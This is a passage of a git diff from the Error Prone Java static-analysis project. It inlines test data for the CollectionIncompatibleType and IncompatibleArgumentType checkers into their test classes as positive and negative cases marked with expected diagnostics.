com.google.errorprone.bugpatterns.android.testdata; - -import android.graphics.Rect; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class RectIntersectReturnValueIgnoredPositiveCases { - void checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect.intersect(aLeft, aTop, aRight, aBottom); - } - - void checkOverload(Rect rect1, Rect rect2) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect1.intersect(rect2); - } - - class RectContainer { - int xPos; - int yPos; - Rect rect; - - boolean intersect(int length, int width) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect.intersect(xPos, yPos, xPos + length, yPos + width); - return true; - } - } - - void checkInMethod(int length, int width) { - RectContainer container = new RectContainer(); - container.intersect(length, width); - } - - void checkInField(RectContainer container) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - container.rect.intersect( - container.xPos, container.yPos, container.xPos + 10, container.yPos + 20); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java index d862a2a10f4..18f0bde8092 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java @@ -39,25 +39,575 @@ public class CollectionIncompatibleTypeTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectionIncompatibleTypePositiveCases.java") + .addSourceLines( + "CollectionIncompatibleTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.common.collect.ClassToInstanceMap; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Date; +import java.util.Deque; +import java.util.Dictionary; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Stack; +import java.util.Vector; +import java.util.concurrent.ConcurrentNavigableMap; +import java.util.concurrent.ConcurrentSkipListMap; + +/** Positive test cases for {@link CollectionIncompatibleType}. */ +public class CollectionIncompatibleTypePositiveCases { + + /* Tests for API coverage */ + + public void collection(Collection collection1, Collection collection2) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + collection1.contains("bad"); + // BUG: Diagnostic contains: + collection1.remove("bad"); + // BUG: Diagnostic contains: Argument 'collection2' should not be passed to this method + // its type Collection has a type argument String that is not compatible with its + // collection's type argument Integer + collection1.containsAll(collection2); + // BUG: Diagnostic contains: + collection1.removeAll(collection2); + // BUG: Diagnostic contains: + collection1.retainAll(collection2); + } + + public void collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + arrayList1.contains("bad"); + // BUG: Diagnostic contains: + arrayList1.remove("bad"); + // BUG: Diagnostic contains: Argument 'arrayList2' should not be passed to this method + // its type ArrayList has a type argument String that is not compatible with its + // collection's type argument Integer + arrayList1.containsAll(arrayList2); + // BUG: Diagnostic contains: + arrayList1.removeAll(arrayList2); + // BUG: Diagnostic contains: + arrayList1.retainAll(arrayList2); + } + + public boolean deque(Deque deque) { + // BUG: Diagnostic contains: + boolean result = deque.removeFirstOccurrence("bad"); + // BUG: Diagnostic contains: + return result && deque.removeLastOccurrence("bad"); + } + + public boolean dequeSubtype(LinkedList linkedList) { + // BUG: Diagnostic contains: + boolean result = linkedList.removeFirstOccurrence("bad"); + // BUG: Diagnostic contains: + return result && linkedList.removeLastOccurrence("bad"); + } + + public String dictionary(Dictionary dictionary) { + // BUG: Diagnostic contains: + String result = dictionary.get("bad"); + // BUG: Diagnostic contains: + return result + dictionary.remove("bad"); + } + + public String dictionarySubtype(Hashtable hashtable) { + // BUG: Diagnostic contains: + String result = hashtable.get("bad"); + // BUG: Diagnostic contains: + return result + hashtable.remove("bad"); + } + + public int list() { + List list = new ArrayList(); + // BUG: Diagnostic contains: + int result = list.indexOf(1); + // BUG: Diagnostic contains: + return result + list.lastIndexOf(1); + } + + public void listSubtype() { + ArrayList arrayList = new ArrayList<>(); + // BUG: Diagnostic contains: + int result = arrayList.indexOf(1); + // BUG: Diagnostic contains: + result = arrayList.lastIndexOf(1); + } + + public boolean map() { + Map map = new HashMap<>(); + // BUG: Diagnostic contains: + String result = map.get("bad"); + // BUG: Diagnostic contains: + result = map.getOrDefault("bad", "soBad"); + // BUG: Diagnostic contains: + boolean result2 = map.containsKey("bad"); + // BUG: Diagnostic contains: + result2 = map.containsValue(1); + // BUG: Diagnostic contains: + result = map.remove("bad"); + return false; + } + + public boolean mapSubtype() { + ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); + // BUG: Diagnostic contains: + String result = concurrentNavigableMap.get("bad"); + // BUG: Diagnostic contains: + boolean result2 = concurrentNavigableMap.containsKey("bad"); + // BUG: Diagnostic contains: + result2 = concurrentNavigableMap.containsValue(1); + // BUG: Diagnostic contains: + result = concurrentNavigableMap.remove("bad"); + return false; + } + + public int stack(Stack stack) { + // BUG: Diagnostic contains: + return stack.search("bad"); + } + + private static class MyStack extends Stack {} + + public int stackSubtype(MyStack myStack) { + // BUG: Diagnostic contains: + return myStack.search("bad"); + } + + public int vector(Vector vector) { + // BUG: Diagnostic contains: + int result = vector.indexOf("bad", 0); + // BUG: Diagnostic contains: + return result + vector.lastIndexOf("bad", 0); + } + + public int vectorSubtype(Stack stack) { + // BUG: Diagnostic contains: + int result = stack.indexOf("bad", 0); + // BUG: Diagnostic contains: + return result + stack.lastIndexOf("bad", 0); + } + + /* Tests for behavior */ + + public boolean errorMessageUsesSimpleNames(Collection collection) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + return collection.contains("bad"); + } + + private static class Date {} + + public boolean errorMessageUsesFullyQualifedNamesWhenSimpleNamesAreTheSame( + Collection collection1, Collection collection2) { + // BUG: Diagnostic contains: Argument 'new Date()' should not be passed to this method + // its type + // com.google.errorprone.bugpatterns.collectionincompatibletype.testdata.CollectionIncompatibleTypePositiveCases.Date is not compatible with its collection's type argument java.util.Date + return collection1.contains(new Date()); + } + + public boolean boundedWildcard() { + Collection collection = new ArrayList<>(); + // BUG: Diagnostic contains: + return collection.contains("bad"); + } + + private static class Pair { + public A first; + public B second; + } + + public boolean declaredTypeVsExpressionType(Pair pair, List list) { + // BUG: Diagnostic contains: + return list.contains(pair.second); + } + + public String subclassHasDifferentTypeParameters(ClassToInstanceMap map, String s) { + // BUG: Diagnostic contains: + return map.get(s); + } + + private static class MyArrayList extends ArrayList {} + + public void methodArgumentIsSubclassWithDifferentTypeParameters( + Collection collection, MyArrayList myArrayList) { + // BUG: Diagnostic contains: + collection.containsAll(myArrayList); + } + + private static class IncompatibleBounds { + private boolean function(Map map, K key) { + // BUG: Diagnostic contains: + return map.containsValue(key); + } + } + + interface Interface {} + + private static final class FinalClass1 {} + + private static final class FinalClass2 {} + + private static class NonFinalClass1 {} + + private static class NonFinalClass2 {} + + public boolean oneInterfaceAndOneFinalClass( + Collection collection, FinalClass1 finalClass1) { + // BUG: Diagnostic contains: + return collection.contains(finalClass1); + } + + public boolean oneFinalClassAndOneInterface(Collection collection, Interface iface) { + // BUG: Diagnostic contains: + return collection.contains(iface); + } + + public boolean bothNonFinalClasses( + Collection collection, NonFinalClass2 nonFinalClass2) { + // BUG: Diagnostic contains: + return collection.contains(nonFinalClass2); + } + + public boolean bothFinalClasses(Collection collection, FinalClass2 finalClass2) { + // BUG: Diagnostic contains: + return collection.contains(finalClass2); + } + + public boolean oneNonFinalClassAndOneFinalClass( + Collection collection, FinalClass1 finalClass1) { + // BUG: Diagnostic contains: + return collection.contains(finalClass1); + } + + public boolean oneFinalClassAndOneNonFinalClass( + Collection collection, NonFinalClass1 nonFinalClass1) { + // BUG: Diagnostic contains: + return collection.contains(nonFinalClass1); + } +}""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectionIncompatibleTypeNegativeCases.java") + .addSourceLines( + "CollectionIncompatibleTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.common.base.Optional; +import com.google.common.collect.ClassToInstanceMap; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Date; +import java.util.Deque; +import java.util.Dictionary; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Stack; +import java.util.Vector; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentNavigableMap; +import java.util.concurrent.ConcurrentSkipListMap; + +/** Negative test cases for {@link CollectionIncompatibleType}. */ +public class CollectionIncompatibleTypeNegativeCases { + + /* Tests for API coverage */ + + public boolean collection(Collection collection1, Collection collection2) { + boolean result = collection1.contains("ok"); + result &= collection1.contains(null); + result &= collection1.remove("ok"); + result &= collection1.remove(null); + result &= collection1.containsAll(collection2); + result &= collection1.containsAll(null); + result &= collection1.removeAll(collection2); + result &= collection1.removeAll(null); + result &= collection1.retainAll(collection2); + return result && collection1.retainAll(null); + } + + public boolean collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { + boolean result = arrayList1.contains("ok"); + result &= arrayList1.contains(null); + result &= arrayList1.remove("ok"); + result &= arrayList1.remove(null); + result &= arrayList1.containsAll(arrayList2); + result &= arrayList1.containsAll(null); + result &= arrayList1.removeAll(arrayList2); + result &= arrayList1.removeAll(null); + result &= arrayList1.retainAll(arrayList2); + return result && arrayList1.retainAll(null); + } + + public boolean deque(Deque deque) { + boolean result = deque.removeFirstOccurrence("ok"); + result &= deque.removeFirstOccurrence(null); + result &= deque.removeLastOccurrence("ok"); + return result && deque.removeLastOccurrence(null); + } + + public boolean dequeSubtype(LinkedList linkedList) { + boolean result = linkedList.removeFirstOccurrence("ok"); + result &= linkedList.removeFirstOccurrence(null); + result &= linkedList.removeLastOccurrence("ok"); + return result && linkedList.removeLastOccurrence(null); + } + + public int dictionary(Dictionary dictionary) { + int result = dictionary.get("ok"); + result += dictionary.get(null); + result += dictionary.remove("ok"); + return result + dictionary.remove(null); + } + + public int dictionarySubtype(Hashtable hashtable) { + int result = hashtable.get("ok"); + result += hashtable.get(null); + result += hashtable.remove("ok"); + return result + hashtable.remove(null); + } + + public int list() { + List list = new ArrayList(); + int result = list.indexOf("ok"); + result += list.indexOf(null); + result += list.lastIndexOf("ok"); + return result + list.lastIndexOf(null); + } + + public int listSubtype() { + ArrayList arrayList = new ArrayList<>(); + int result = arrayList.indexOf("ok"); + result += arrayList.indexOf(null); + result += arrayList.lastIndexOf("ok"); + return result + arrayList.lastIndexOf(null); + } + + public boolean map() { + Map map = new HashMap<>(); + String result = map.get(1); + result = map.getOrDefault(1, "hello"); + boolean result2 = map.containsKey(1); + result2 = map.containsValue("ok"); + result2 &= map.containsValue(null); + result = map.remove(1); + return result2; + } + + public boolean mapSubtype() { + ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); + String result = concurrentNavigableMap.get(1); + boolean result2 = concurrentNavigableMap.containsKey(1); + result2 &= concurrentNavigableMap.containsValue("ok"); + result2 &= concurrentNavigableMap.containsValue(null); + result = concurrentNavigableMap.remove(1); + return result2; + } + + public int stack(Stack stack) { + int result = stack.search("ok"); + return result + stack.search(null); + } + + private static class MyStack extends Stack {} + + public int stackSubtype(MyStack myStack) { + int result = myStack.search("ok"); + return result + myStack.search(null); + } + + public int vector(Vector vector) { + int result = vector.indexOf("ok", 0); + result += vector.indexOf(null, 0); + result += vector.lastIndexOf("ok", 0); + return result + vector.lastIndexOf(null, 0); + } + + public int vectorSubtype(Stack stack) { + int result = stack.indexOf("ok", 0); + result += stack.indexOf(null, 0); + result += stack.lastIndexOf("ok", 0); + return result + stack.lastIndexOf(null, 0); + } + + /* Tests for behavior */ + + private class B extends Date {} + + public boolean argTypeExtendsContainedType() { + Collection collection = new ArrayList<>(); + return collection.contains(new B()); + } + + public boolean containedTypeExtendsArgType() { + Collection collection = new ArrayList<>(); + Object actuallyAString = "ok"; + return collection.contains(actuallyAString); + } + + public boolean boundedWildcard() { + Collection collection = new ArrayList<>(); + return collection.contains(new Date()) || collection.contains(new B()); + } + + public boolean unboundedWildcard() { + Collection collection = new ArrayList<>(); + return collection.contains("ok") || collection.contains(new Object()); + } + + public boolean rawType() { + Collection collection = new ArrayList(); + return collection.contains("ok"); + } + + private class DoesntExtendCollection { + public boolean contains(Object o) { + return true; + } + } + + public boolean doesntExtendCollection() { + DoesntExtendCollection collection = new DoesntExtendCollection<>(); + return collection.contains(new Date()); + } + + private static class Pair { + public A first; + public B second; + } + + public boolean declaredTypeVsExpressionType(Pair pair, List list) { + return list.contains(pair.first); + } + + public boolean containsParameterizedType( + Collection> collection, Class clazz) { + return collection.contains(clazz); + } + + public boolean containsWildcard(Collection collection, Optional optional) { + return collection.contains(optional.get()); + } + + public T subclassHasDifferentTypeParameters( + ClassToInstanceMap map, Class klass) { + return klass.cast(map.get(klass)); + } + + // Ensure we don't match Hashtable.contains and ConcurrentHashtable.contains because there is a + // separate check, HashtableContains, specifically for them. + public boolean hashtableContains() { + Hashtable hashtable = new Hashtable<>(); + ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap<>(); + return hashtable.contains(1) || concurrentHashMap.contains(1); + } + + private static class MyHashMap extends HashMap {} + + public boolean boundedTypeParameters(MyHashMap myHashMap) { + return myHashMap.containsKey(1); + } + + interface Interface1 {} + + interface Interface2 {} + + private static class NonFinalClass {} + + public boolean bothInterfaces(Collection collection, Interface2 iface2) { + return collection.contains(iface2); + } + + public boolean oneInterfaceAndOneNonFinalClass( + Collection collection, NonFinalClass nonFinalClass) { + return collection.contains(nonFinalClass); + } + + public boolean oneNonFinalClassAndOneInterface( + Collection collection, Interface1 iface) { + return collection.contains(iface); + } + + public void methodArgHasSubtypeTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgHasSuperTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgHasWildcardTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgCastToCollectionWildcard( + Collection collection1, Collection collection2) { + collection1.containsAll((Collection) collection2); + } + + public void classToken( + Set>> iterables, Class arrayListClass) { + iterables.contains(arrayListClass); + } +}""") .doTest(); } @Test public void outOfBounds() { - compilationHelper.addSourceFile("testdata/CollectionIncompatibleTypeOutOfBounds.java").doTest(); + compilationHelper + .addSourceLines( + "CollectionIncompatibleTypeOutOfBounds.java", + """ + package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + + import java.util.Properties; + + /** This is a regression test for Issue 222. */ + public class CollectionIncompatibleTypeOutOfBounds { + public void test() { + Properties properties = new Properties(); + properties.get(""); + } + }""") + .doTest(); } @Test public void classCast() { - compilationHelper.addSourceFile("testdata/CollectionIncompatibleTypeClassCast.java").doTest(); + compilationHelper + .addSourceLines( + "CollectionIncompatibleTypeClassCast.java", + """ + package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + + import java.util.HashMap; + + /** This is a regression test for Issue 222. */ + public class CollectionIncompatibleTypeClassCast extends HashMap { + public void test(K k) { + get(k); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java index 692187cbcfa..b685033f07a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java @@ -30,27 +30,270 @@ public class IncompatibleArgumentTypeTest { @Test public void genericMethod() { - compilationHelper.addSourceFile("testdata/IncompatibleArgumentTypeGenericMethod.java").doTest(); + compilationHelper + .addSourceLines( + "IncompatibleArgumentTypeGenericMethod.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Test IncompatibleArgumentType with a generic method */ +public class IncompatibleArgumentTypeGenericMethod { + class A { + C remove(@CompatibleWith("B") Object b, @CompatibleWith("C") Object c) { + return null; + } + + C varargs(@CompatibleWith("B") Object b, @CompatibleWith("C") Object... cs) { + return (C) cs[0]; + } + } + + class C extends A {} + + void testfoo(C c, A unbound, A boundToNumber) { + c.remove("a", null); // OK, match null to Double + c.remove("a", 123.0); // OK, match Double to Double + c.remove("a", 123); // OK, 2nd arg is unbound + + unbound.remove(null, 123); // OK, variables unbound + + // BUG: Diagnostic contains: String is not compatible with the required type: Number + boundToNumber.remove("123", null); + + // BUG: Diagnostic contains: int is not compatible with the required type: Double + Double d = c.remove("a", 123); + // BUG: Diagnostic contains: int is not compatible with the required type: Double + c.remove("a", 123); + + // BUG: Diagnostic contains: float is not compatible with the required type: Double + c.remove(123, 123.0f); + } + + void testVarargs(A stringA) { + // OK, all varargs elements compatible with Integer + Integer first = stringA.varargs("hi", 2, 3, 4); + + // BUG: Diagnostic contains: long is not compatible with the required type: Integer + first = stringA.varargs("foo", 2, 3L); + + // OK, everything compatible w/ Object + Object o = stringA.varargs("foo", 2L, 1.0d, "a"); + } +}""") + .doTest(); } @Test public void owningTypes() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeEnclosingTypes.java") + .addSourceLines( + "IncompatibleArgumentTypeEnclosingTypes.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; +import java.util.Set; + +/** Test case for enclosing type */ +public class IncompatibleArgumentTypeEnclosingTypes { + static class Foo { + class Bar { + void doSomething(@CompatibleWith("Y") Object x) {} + } + + class Sub { + class SubSub { + void doSomething(@CompatibleWith("X") Object nestedResolution) {} + + X methodVarIsReturn(@CompatibleWith("X") Object nestedResolution) { + return null; + } + + void methodVarIsFree(@CompatibleWith("X") Object nestedResolution) {} + + void compatibleWithBase(@CompatibleWith("Y") Object nestedResolution) {} + } + } + + static class Baz { + // Shouldn't resolve to anything, would be a compile error due to CompatibleWithMisuse + static void doSomething(@CompatibleWith("X") Object x) {} + } + } + + void testSubs() { + new Foo().new Bar().doSomething("a"); + // BUG: Diagnostic contains: int is not compatible with the required type: String + new Foo().new Bar().doSomething(123); + new Foo().new Bar().doSomething(123); + + Foo.Bar rawtype = new Foo().new Bar(); + rawtype.doSomething(123); // Weakness, rawtype isn't specialized in Foo + + Foo.Baz.doSomething(123); // No resolution of X + } + + void testMegasub() { + new Foo().new Sub().new SubSub().doSomething(true); + // BUG: Diagnostic contains: int is not compatible with the required type: Boolean + new Foo().new Sub().new SubSub().doSomething(123); + + // X in method is unbound + new Foo().new Sub().new SubSub().methodVarIsReturn(123); + + // BUG: Diagnostic contains: int is not compatible with the required type: Set + new Foo().new Sub().new SubSub().>methodVarIsReturn(123); + + // BUG: Diagnostic contains: int is not compatible with the required type: String + new Foo().new Sub().new SubSub().>compatibleWithBase(123); + } + + void extraStuff() { + // Javac throws away the type of since it's not used in params/return type, so we can't + // enforce it here. + new Foo().new Sub().new SubSub().>methodVarIsFree(123); + } +}""") .doTest(); } @Test public void multimapIntegration() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeMultimapIntegration.java") + .addSourceLines( + "IncompatibleArgumentTypeMultimapIntegration.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Integration test testing a hypothetical multimap interface */ +public class IncompatibleArgumentTypeMultimapIntegration { + interface Multimap { + boolean containsKey(@CompatibleWith("K") Object key); + + boolean containsValue(@CompatibleWith("V") Object value); + + boolean containsEntry(@CompatibleWith("K") Object key, @CompatibleWith("V") Object value); + + boolean containsAllKeys(@CompatibleWith("K") Object key, Object... others); + } + + class MyMultimap implements Multimap { + @Override + public boolean containsKey(Object key) { + return false; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public boolean containsEntry(Object key, Object value) { + return false; + } + + @Override + public boolean containsAllKeys(Object key, Object... keys) { + return false; + } + } + + void testRegularValid(Multimap intToString) { + intToString.containsKey(123); + intToString.containsEntry(123, "abc"); + intToString.containsValue("def"); + // 0-entry vararg doesn't crash + intToString.containsAllKeys(123); + } + + static void testIncompatibleWildcards( + Multimap map, K key, V value) { + map.containsKey(key); + map.containsValue(value); + map.containsEntry(key, value); + + // BUG: Diagnostic contains: V is not compatible with the required type: K + map.containsEntry(value, key); + // BUG: Diagnostic contains: K is not compatible with the required type: V + map.containsValue(key); + // BUG: Diagnostic contains: V is not compatible with the required type: K + map.containsKey(value); + } + + void testVarArgs(Multimap intToString) { + // Validates the first, not the varags params + intToString.containsAllKeys(123, 123, 123); + // TODO(glorioso): If we make it work with varargs, this should fail + intToString.containsAllKeys(123, 123, "a"); + + Integer[] keys = {123, 345}; + intToString.containsAllKeys(123, (Object[]) keys); + } +}""") .doTest(); } @Test public void intersectionTypes() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeIntersectionTypes.java") + .addSourceLines( + "IncompatibleArgumentTypeIntersectionTypes.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Test intersection types. */ +public class IncompatibleArgumentTypeIntersectionTypes { + + interface Nothing {} + + interface Something {} + + interface Everything extends Nothing, Something {} + + class Test { + void doSomething(@CompatibleWith("X") Object whatever) {} + } + + class ArrayTest { + void doSomething(@CompatibleWith("X") Object whatever) {} + } + + void testStuff(Test someTest, Everything[] everythings, Nothing nothing) { + // Final classes (Integer) can't be cast to an interface they don't implement + // BUG: Diagnostic contains: int is not compatible with the required type: Everything + someTest.doSomething(123); + + // Non-final classes can. + someTest.doSomething((Object) 123); + + // Arrays can't, since they can only be cast to Serializable + // BUG: Diagnostic contains: Everything[] is not compatible with the required type: Everything + someTest.doSomething(everythings); + + // BUG: Diagnostic contains: Everything[][] is not compatible with the required type: Everything + someTest.doSomething(new Everything[][] {everythings}); + + // OK (since some other implementer of Nothing could implement Everything) + someTest.doSomething(nothing); + } + + void testArraySpecialization( + ArrayTest arrayTest, Integer[] ints, Object[] objz, String[] strings) { + arrayTest.doSomething(ints); + + arrayTest.doSomething(objz); + + // BUG: Diagnostic contains: String[] is not compatible with the required type: Number[] + arrayTest.doSomething(strings); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java deleted file mode 100644 index 50e1c8496bb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import java.util.HashMap; - -/** This is a regression test for Issue 222. */ -public class CollectionIncompatibleTypeClassCast extends HashMap { - public void test(K k) { - get(k); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java deleted file mode 100644 index 14dc3de1120..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java +++ /dev/null @@ -1,282 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.common.base.Optional; -import com.google.common.collect.ClassToInstanceMap; -import java.util.ArrayList; -import java.util.Collection; -import java.util.Date; -import java.util.Deque; -import java.util.Dictionary; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.Stack; -import java.util.Vector; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ConcurrentNavigableMap; -import java.util.concurrent.ConcurrentSkipListMap; - -/** Negative test cases for {@link CollectionIncompatibleType}. */ -public class CollectionIncompatibleTypeNegativeCases { - - /* Tests for API coverage */ - - public boolean collection(Collection collection1, Collection collection2) { - boolean result = collection1.contains("ok"); - result &= collection1.contains(null); - result &= collection1.remove("ok"); - result &= collection1.remove(null); - result &= collection1.containsAll(collection2); - result &= collection1.containsAll(null); - result &= collection1.removeAll(collection2); - result &= collection1.removeAll(null); - result &= collection1.retainAll(collection2); - return result && collection1.retainAll(null); - } - - public boolean collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { - boolean result = arrayList1.contains("ok"); - result &= arrayList1.contains(null); - result &= arrayList1.remove("ok"); - result &= arrayList1.remove(null); - result &= arrayList1.containsAll(arrayList2); - result &= arrayList1.containsAll(null); - result &= arrayList1.removeAll(arrayList2); - result &= arrayList1.removeAll(null); - result &= arrayList1.retainAll(arrayList2); - return result && arrayList1.retainAll(null); - } - - public boolean deque(Deque deque) { - boolean result = deque.removeFirstOccurrence("ok"); - result &= deque.removeFirstOccurrence(null); - result &= deque.removeLastOccurrence("ok"); - return result && deque.removeLastOccurrence(null); - } - - public boolean dequeSubtype(LinkedList linkedList) { - boolean result = linkedList.removeFirstOccurrence("ok"); - result &= linkedList.removeFirstOccurrence(null); - result &= linkedList.removeLastOccurrence("ok"); - return result && linkedList.removeLastOccurrence(null); - } - - public int dictionary(Dictionary dictionary) { - int result = dictionary.get("ok"); - result += dictionary.get(null); - result += dictionary.remove("ok"); - return result + dictionary.remove(null); - } - - public int dictionarySubtype(Hashtable hashtable) { - int result = hashtable.get("ok"); - result += hashtable.get(null); - result += hashtable.remove("ok"); - return result + hashtable.remove(null); - } - - public int list() { - List list = new ArrayList(); - int result = list.indexOf("ok"); - result += list.indexOf(null); - result += list.lastIndexOf("ok"); - return result + list.lastIndexOf(null); - } - - public int listSubtype() { - ArrayList arrayList = new ArrayList<>(); - int result = arrayList.indexOf("ok"); - result += arrayList.indexOf(null); - result += arrayList.lastIndexOf("ok"); - return result + arrayList.lastIndexOf(null); - } - - public boolean map() { - Map map = new HashMap<>(); - String result = map.get(1); - result = map.getOrDefault(1, "hello"); - boolean result2 = map.containsKey(1); - result2 = map.containsValue("ok"); - result2 &= map.containsValue(null); - result = map.remove(1); - return result2; - } - - public boolean mapSubtype() { - ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); - String result = concurrentNavigableMap.get(1); - boolean result2 = concurrentNavigableMap.containsKey(1); - result2 &= concurrentNavigableMap.containsValue("ok"); - result2 &= concurrentNavigableMap.containsValue(null); - result = concurrentNavigableMap.remove(1); - return result2; - } - - public int stack(Stack stack) { - int result = stack.search("ok"); - return result + stack.search(null); - } - - private static class MyStack extends Stack {} - - public int stackSubtype(MyStack myStack) { - int result = myStack.search("ok"); - return result + myStack.search(null); - } - - public int vector(Vector vector) { - int result = vector.indexOf("ok", 0); - result += vector.indexOf(null, 0); - result += vector.lastIndexOf("ok", 0); - return result + vector.lastIndexOf(null, 0); - } - - public int vectorSubtype(Stack stack) { - int result = stack.indexOf("ok", 0); - result += stack.indexOf(null, 0); - result += stack.lastIndexOf("ok", 0); - return result + stack.lastIndexOf(null, 0); - } - - /* Tests for behavior */ - - private class B extends Date {} - - public boolean argTypeExtendsContainedType() { - Collection collection = new ArrayList<>(); - return collection.contains(new B()); - } - - public boolean containedTypeExtendsArgType() { - Collection collection = new ArrayList<>(); - Object actuallyAString = "ok"; - return collection.contains(actuallyAString); - } - - public boolean boundedWildcard() { - Collection collection = new ArrayList<>(); - return collection.contains(new Date()) || collection.contains(new B()); - } - - public boolean unboundedWildcard() { - Collection collection = new ArrayList<>(); - return collection.contains("ok") || collection.contains(new Object()); - } - - public boolean rawType() { - Collection collection = new ArrayList(); - return collection.contains("ok"); - } - - private class DoesntExtendCollection { - public boolean contains(Object o) { - return true; - } - } - - public boolean doesntExtendCollection() { - DoesntExtendCollection collection = new DoesntExtendCollection<>(); - return collection.contains(new Date()); - } - - private static class Pair { - public A first; - public B second; - } - - public boolean declaredTypeVsExpressionType(Pair pair, List list) { - return list.contains(pair.first); - } - - public boolean containsParameterizedType( - Collection> collection, Class clazz) { - return collection.contains(clazz); - } - - public boolean containsWildcard(Collection collection, Optional optional) { - return collection.contains(optional.get()); - } - - public T subclassHasDifferentTypeParameters( - ClassToInstanceMap map, Class klass) { - 